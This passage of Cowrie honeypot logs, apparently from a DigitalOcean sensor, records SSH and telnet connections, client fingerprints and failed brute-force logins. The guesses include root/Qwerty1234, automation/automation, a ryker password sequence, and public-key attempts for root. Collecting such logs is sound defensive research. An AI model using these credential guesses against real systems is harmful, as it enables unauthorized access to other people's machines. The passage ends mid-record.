{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:25.780132Z","src_ip":"78.44.192.210","session":"6704ab8e4f9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1234","message":"login attempt [root/Qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:26.243630Z","src_ip":"78.44.192.210","session":"6704ab8e4f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:27.356674Z","src_ip":"78.44.192.210","session":"6704ab8e4f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":44842,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6168cc9214f","protocol":"ssh","message":"New connection: 147.45.211.215:44842 (10.17.0.5:22) [session: d6168cc9214f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:38.035534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:38.040309Z","src_ip":"147.45.211.215","session":"d6168cc9214f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:38.202412Z","src_ip":"147.45.211.215","session":"d6168cc9214f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rhbcnb","message":"login attempt [root/rhbcnb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:38.686865Z","src_ip":"147.45.211.215","session":"d6168cc9214f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:39.851085Z","src_ip":"147.45.211.215","session":"d6168cc9214f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":9045,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ba173841946","protocol":"ssh","message":"New connection: 213.209.159.56:9045 (10.17.0.5:22) [session: 3ba173841946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:53.595444Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":54262,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4feb878f17d","protocol":"ssh","message":"New connection: 45.233.218.160:54262 (10.17.0.5:22) [session: b4feb878f17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:56.840348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:56.846243Z","src_ip":"45.233.218.160","session":"b4feb878f17d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:56.985745Z","src_ip":"45.233.218.160","session":"b4feb878f17d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"automation","password":"automation","message":"login attempt [automation/automation] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:57.573802Z","src_ip":"45.233.218.160","session":"b4feb878f17d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:58.200596Z","src_ip":"213.209.159.56","session":"3ba173841946","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:58.279140Z","src_ip":"213.209.159.56","session":"3ba173841946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ryker","password":"ryker","message":"login attempt [ryker/ryker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:58.679422Z","src_ip":"213.209.159.56","session":"3ba173841946","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:58.715189Z","src_ip":"45.233.218.160","session":"b4feb878f17d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ryker","password":"ryker1","message":"login attempt [ryker/ryker1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:42:59.764238Z","src_ip":"213.209.159.56","session":"3ba173841946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ryker","password":"ryker123","message":"login attempt [ryker/ryker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:00.848596Z","src_ip":"213.209.159.56","session":"3ba173841946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ryker","password":"ryker1234","message":"login attempt [ryker/ryker1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:01.933555Z","src_ip":"213.209.159.56","session":"3ba173841946","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ryker","password":"ryker12345","message":"login attempt [ryker/ryker12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:03.020035Z","src_ip":"213.209.159.56","session":"3ba173841946","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:04.105316Z","src_ip":"213.209.159.56","session":"3ba173841946","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.210.155.71","src_port":33546,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4a278e1bc1b","protocol":"ssh","message":"New connection: 210.210.155.71:33546 (10.17.0.5:22) [session: c4a278e1bc1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:08.258461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:08.263166Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:08.497810Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:b1:bf:55:aa:48:44:01:0c:13:f3:7c:0d:97:a1:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXVW2kMMJETPOV1gOtfo3v9GsaKd6jDGmEFBSdnBIyyKFaP7Wipz3kocwYpODcVTu40GSUIm8gLOsfaUO5bSFb9EFcZA9IVwSGMEP7ln2ULohzuwJ7x2dsiYzF8VoTq5wRAcX6LiaDxK04/oPmtBEG60k2vyoEYyLOKRaSe4vElPFgzw/RORfOtxgKx45AsedMgvM84Z1cACf0KnQuQfLekuY6GSasq0LHRgCB3M3Nf/esiNNGA5kFQejN1h4it9oxz3qGeSKMxy4EkVauNt1GG523OLXd/1pV6N9/Z0XtP83WbbiZtAP4dUeWimbZYE3X9Fu8zxna4cU/20n6MdovFdITMFn8jFivPlTPU0UjEhPl3t7EMP1fnDrqL9r2w8mmkqHHEHqg4LcDTYe+8sxVhgRHWvSbd4ikip4IoPwp5T5me+JFeaCVN7JSTN0nkSQn39X/N4EhKjYJiMcMvk/pLGNroUVszWQ9KnC0RNh3ao6uPsG9yP/3cGdAN1GU2izr8n7UvtzJJrSyfYS1QnjavMFUr4cOqJAwOERauPHcB/GcKN05xZo1yts1PaorP/Fy9i28YV+R4uIYYwURzgMByuP9JILwChFUheWXXLIm+NEMEaJvSfqIkTLfqIt1XtqxDZm5qm+jhuWGlZOpL1+wzVsEZvCL1ioXYAAfTC30Mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:b1:bf:55:aa:48:44:01:0c:13:f3:7c:0d:97:a1:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:09.627081Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:b1:bf:55:aa:48:44:01:0c:13:f3:7c:0d:97:a1:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXVW2kMMJETPOV1gOtfo3v9GsaKd6jDGmEFBSdnBIyyKFaP7Wipz3kocwYpODcVTu40GSUIm8gLOsfaUO5bSFb9EFcZA9IVwSGMEP7ln2ULohzuwJ7x2dsiYzF8VoTq5wRAcX6LiaDxK04/oPmtBEG60k2vyoEYyLOKRaSe4vElPFgzw/RORfOtxgKx45AsedMgvM84Z1cACf0KnQuQfLekuY6GSasq0LHRgCB3M3Nf/esiNNGA5kFQejN1h4it9oxz3qGeSKMxy4EkVauNt1GG523OLXd/1pV6N9/Z0XtP83WbbiZtAP4dUeWimbZYE3X9Fu8zxna4cU/20n6MdovFdITMFn8jFivPlTPU0UjEhPl3t7EMP1fnDrqL9r2w8mmkqHHEHqg4LcDTYe+8sxVhgRHWvSbd4ikip4IoPwp5T5me+JFeaCVN7JSTN0nkSQn39X/N4EhKjYJiMcMvk/pLGNroUVszWQ9KnC0RNh3ao6uPsG9yP/3cGdAN1GU2izr8n7UvtzJJrSyfYS1QnjavMFUr4cOqJAwOERauPHcB/GcKN05xZo1yts1PaorP/Fy9i28YV+R4uIYYwURzgMByuP9JILwChFUheWXXLIm+NEMEaJvSfqIkTLfqIt1XtqxDZm5qm+jhuWGlZOpL1+wzVsEZvCL1ioXYAAfTC30Mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:09.631891Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":46722,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b4a6b59f959","protocol":"telnet","message":"New connection: 180.235.129.180:46722 (10.17.0.5:23) [session: 2b4a6b59f959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:09.828533Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:25:41:35:57:5c:80:da:47:86:62:1d:6e:60:6c:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBBbQpf4wS3KMW1T2y1kMlv/GOGiIOq6fjeHhaQ+1b91WU5RG4vEvJisuf3JKbnGz80ENdAfr2QaIdB9E+hLB2H5WEoVCXr/bXuRRSc3b4TVcuKHqHjUqW2MgVu+WC0f11xv9WY5lacGrEI98X29s/dvLUOLFwVPLbY3IEEmeuiGOBRH/wGhRoNAF/2aaTh1VKQ0CAY8AAq6s/x4zE5PXrQrcJQ+nqTbbBu6IcwaOecakKys3lmH5zs0Gn3v82lAgA4IsYkDEz4AqR0IfgJx5tipy2X1TLi83W2+K6XW15j9h1klVsKVnm1+Oih6kMfVGRutc2MI1zb4jOmw4G2IXr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:25:41:35:57:5c:80:da:47:86:62:1d:6e:60:6c:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:09.864064Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:25:41:35:57:5c:80:da:47:86:62:1d:6e:60:6c:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBBbQpf4wS3KMW1T2y1kMlv/GOGiIOq6fjeHhaQ+1b91WU5RG4vEvJisuf3JKbnGz80ENdAfr2QaIdB9E+hLB2H5WEoVCXr/bXuRRSc3b4TVcuKHqHjUqW2MgVu+WC0f11xv9WY5lacGrEI98X29s/dvLUOLFwVPLbY3IEEmeuiGOBRH/wGhRoNAF/2aaTh1VKQ0CAY8AAq6s/x4zE5PXrQrcJQ+nqTbbBu6IcwaOecakKys3lmH5zs0Gn3v82lAgA4IsYkDEz4AqR0IfgJx5tipy2X1TLi83W2+K6XW15j9h1klVsKVnm1+Oih6kMfVGRutc2MI1zb4jOmw4G2IXr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:09.868102Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:17:bc:a7:19:75:e1:af:0a:a0:84:c8:9c:21:9b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvH9JgJ0MihP0FXdMjHZmBcvOtkpCea00g2/+GUHONYL0FCVGCIt50aI5l3yAKU7qVrDfHV9AXilgewiP4fxwfleCiCqX/M0dEJcMMCOOHjuppofwbQFNFzyyOdIkEAWu9eNzQTo+vOB2Rgbc7GHw5Z0MdplqAHzlsnr0JksusCKhIWT1UbghRO/kiJHRUGr6y/RKVi19IfIKr3jgQsalf4Mf9V1NLOATPpkJ7Lql+TiIY7WJHiom1i2x/5QsIc/usGGd7prtnnnS3kZuKYmfKLf+xhSU6SqqKWFUTU/cfDIb6gTXyJTSVVN52jJHSo1pHpHnJOCWHKp7wNHY+QfmZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:17:bc:a7:19:75:e1:af:0a:a0:84:c8:9c:21:9b:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:10.099683Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:17:bc:a7:19:75:e1:af:0a:a0:84:c8:9c:21:9b:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvH9JgJ0MihP0FXdMjHZmBcvOtkpCea00g2/+GUHONYL0FCVGCIt50aI5l3yAKU7qVrDfHV9AXilgewiP4fxwfleCiCqX/M0dEJcMMCOOHjuppofwbQFNFzyyOdIkEAWu9eNzQTo+vOB2Rgbc7GHw5Z0MdplqAHzlsnr0JksusCKhIWT1UbghRO/kiJHRUGr6y/RKVi19IfIKr3jgQsalf4Mf9V1NLOATPpkJ7Lql+TiIY7WJHiom1i2x/5QsIc/usGGd7prtnnnS3kZuKYmfKLf+xhSU6SqqKWFUTU/cfDIb6gTXyJTSVVN52jJHSo1pHpHnJOCWHKp7wNHY+QfmZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:10.103591Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:df:fc:1a:04:57:3f:ce:e1:96:9a:9a:67:0f:bd:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDtiWxtLw8eoNKLcCQ+/Q1LgPAG/PPKuAkCsPYegFu5R5XLOK0EeXkgzgY4xocC4DRHotR6+Od1Ff+FeY4z1kA8EsF7J/Ft8czBuxg2dovoYIdOinXEXL1+NtJHdmqB16baxSF6jLnQ6Lh67O8+QYprD+0unr3/pf89NfQIWEWey9JU+Ap+ASjK82zrPWC2H4tBASHEL4e4WQboBmhYdCdQpNm3zmcpN3BsSLo0LLB7417vnXlVt3dSDyRoJqNE8h2MsoSLiiCXb7vruIxFEzZack+tyrVKa05PX9MCjWkZVhZZndPggftexfbAB6GkNyqFzJ1LOuNWFO0dsCLSJhWC1bbPY7spsdJ2TUTFgVxBS6PSGL/bjsePP8xTxZ8kGuLpndm8FV4usPDPYqkuXTpcgPSrbaHzXIUDHmz2SqGoDWUjt09Ec5TgO8cfaDCK8k7endem1YXs3J8quFeBCrt1vEGtaUAjpTz2/6EFxQqzUcBITVHvyq2vl4oDUg6QshUFSzlzsSaQ4Fj5bJPPEZDK+Ey4cU1caggj/pf4wWc4xRBYPOK7qrAmAtvFHs5HtB675cdHPPlXtvo9JpftAeiaJNXE2puoRWwz18qS205ScN6Iqhl/DahTfTDIpWQNNGhL01cPQ2aE7g6IUA0FRRBV2BgPE9GAJ53FX1T7ctHSCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:df:fc:1a:04:57:3f:ce:e1:96:9a:9a:67:0f:bd:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:43:10.337861Z","src_ip":"210.210.155.71","session":"c4a278e1bc1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:df:fc:1a:04:57:3f:ce:e1:96:9a:9a:67:0f:bd:53","key":"ssh-rsa 